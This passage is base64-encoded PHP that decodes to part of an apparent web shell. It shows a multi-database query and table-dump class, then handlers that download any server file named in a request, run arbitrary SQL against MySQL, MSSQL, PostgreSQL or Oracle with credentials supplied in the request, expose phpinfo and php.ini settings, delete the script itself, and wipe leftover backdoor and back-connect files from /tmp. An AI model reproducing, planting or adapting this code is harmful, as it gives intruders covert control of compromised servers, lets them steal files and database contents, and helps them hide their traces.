A7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7ICAgDQogIH0NCiAgDQogZnVuY3Rpb24gc2VsZWN0X2RiKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIGNhc2UgJ015U1FMJzoNCiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOyAgDQogIH0NCiAgDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7IA0KICAgJHRoaXMtPnJlcz0kdGhpcy0+ZXJyb3I9Jyc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgY2FzZSAnTXlTUUwnOiANCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQogICAgICB7IA0KICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfSANCiAgICAgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgeyByZXR1cm4gMTsgfSAgICAgICAgICAgICAgICAgICANCiAgICAgcmV0dXJuIDI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsgICAgIA0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOyANCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQogICAgICB9DQogICAgIGVsc2UgDQogICAgICB7IA0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpIA0KICAgICAgIHsNCiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7DQogICAgICAgcmV0dXJuIDE7DQogICAgICAgfQ0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7DQogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IA0KICAgICAgfQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgcmV0dXJuIDA7DQogIH0NCiBmdW5jdGlvbiBnZXRfcmVzdWx0KCkNCiAgeyANCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgY2FzZSAnTXlTUUwnOg0KICAgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IA0KICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgICAgDQogICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAkdGhpcy0+bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOyANCiAgICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyAgIA0KICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogICBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7DQogICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKSAkdGhpcy0+bnVtX3Jvd3MrKzsNCiAgICAgQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7DQogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsgDQogIH0NCiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCiAgeyANCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIGNhc2UgJ015U1FMJzoNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOw0KICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogICBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddOw0KICAgICAkdGhpcy0+ZHVtcFtdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogICAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE1TU1FMIGR1bXAnOw0KICAgICBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsNCiAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9IA0KICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICB9IA0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQogICAgICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOyANCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsgDQogIH0NCiBmdW5jdGlvbiBjbG9zZSgpDQogIHsgDQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgY2FzZSAnTXlTUUwnOiANCiAgIEBteXNxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IA0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgeyANCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICBjYXNlICdNeVNRTCc6DQogICByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IA0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiB9IA0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpDQogew0KICBpZigkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKXsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7IEBmY2xvc2UoJGZpbGUpOyB9DQogIGVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnZF9uYW1lJ10pKSB7ICRmaWxlZHVtcCA9ICRmaWxlOyB9IGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2RfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICBpZihpc3NldCgkX1BPU1RbJ2NtZCddKSkgDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KICAgIGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQ0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7ICAgDQogICAgZWNobyAkZmlsZWR1bXA7DQogICAgZXhpdCgpOw0KICAgfQ0KIH0NCmlmKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7IGVjaG8gQHBocGluZm8oKTsgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0NCmlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRiX3F1ZXJ5IikNCiB7DQogZWNobyAkaGVhZDsNCiAkc3FsID0gbmV3IG15X3NxbCgpOw0KICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQogJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107DQogJHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsNCiAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7DQogZWNobyAnPGJvZHkgYmdjb2xvcj0jZTRlMGQ4Pic7DQogaWYoISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IGNvbm5lY3QgdG8gU1FMIHNlcnZlcjwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgZWxzZSANCiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q2FuJ3Qgc2VsZWN0IGRhdGFiYXNlPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZWxzZQ0KICAgIHsNCiAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSANCiAgICAgew0KICAgICAgaWYoc3RybGVuKCRxdWVyeSk+NSkNCiAgICAgIHsNCiAgICAgIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsNCiAgICAgIHN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQ0KICAgICAgIHsNCiAgICAgICBjYXNlICcwJzoNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzEnOiANCiAgICAgICBpZigkc3FsLT5nZXRfcmVzdWx0KCkpDQogICAgICAgIHsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOw0KICAgICAgICBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1oZWFkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY2hvICI8dHI+PHRkIGNsYXNzPWhlYWQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwvZm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykNCiAgICAgICAgIHsNCiAgICAgICAgIGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJGs9PiR2KSAkc3FsLT5yb3dzWyRpXVska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgICAgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RhYmxlPiI7IA0KICAgICAgICB9DQogICAgICAgYnJlYWs7DQogICAgICAgY2FzZSAnMic6DQogICAgICAgJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOignMCcpOyANCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICBicmVhazsgDQogICAgICAgfQ0KICAgICAgfQ0KICAgICB9DQogICAgfQ0KICAgfSAgIA0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJhc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsgDQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkNCiB7DQogICBAdW5saW5rKF9fRklMRV9fKTsNCiB9DQppZihpc3NldCgkX0dFVFsndG1wJ10pKQ0KIHsNCiAgIEB1bmxpbmsoIi90bXAvYmRwbCIpOw0KICAgQHVubGluaygiL3RtcC9iYWNrIik7DQogICBAdW5saW5rKCIvdG1wL2JkIik7DQogICBAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHAiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjIik7DQogICBAdW5saW5rKCIvdG1wL2RwYy5jIik7DQogICBAdW5saW5rKCIvdG1wL3ByeHBsIik7DQogICBAdW5saW5rKCIvdG1wL2dyZXAudHh0Iik7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluaSddKSkNCnsNCmVjaG8gJGhlYWQ7DQpmdW5jdGlvbiBVX3ZhbHVlKCR2YWx1ZSkNCiB7DQogaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkNCiB7DQogQG9iX3N0YXJ0KCk7DQogcHJpbnRfcigkdmFsdWUpOw0KICR2YWx1ZSA9IEBvYl9nZXRfY29udGVudHMoKTsNCiBAb2JfZW5kX2NsZWFuKCk7DQogfQ0KIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogfQ0KZnVuY3Rpb24gVV93b3Jkd3JhcCgkc3RyKQ0KIHsNCiAkc3RyID0gQHdvcmR3cmFwKEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLCAxMDAsICc8d2JyIC8+JywgdHJ1ZSk7DQogcmV0dXJuIEBwcmVnX3JlcGxhY2UoJyEoJlteO10qKTx3YnIgLz4oW147XSo7KSEnLCAnJDEkMjx3YnIgLz4nLCAkc3RyKTsNCiB9DQppZiAoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldF9hbGwnKSkNCiB7DQogJHIgPSAnJzsNCiBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT4nLCAnPHRyPjx0ZCBjbGFzcz1oZWFkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5EaXJlY3RpdmU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPWhlYWQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBjbGFzcz1oZWFkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48ZGl2IGFsaWduPWNlbnRlcj48Yj5NYXN0ZXIgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkNCiAgew0KICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l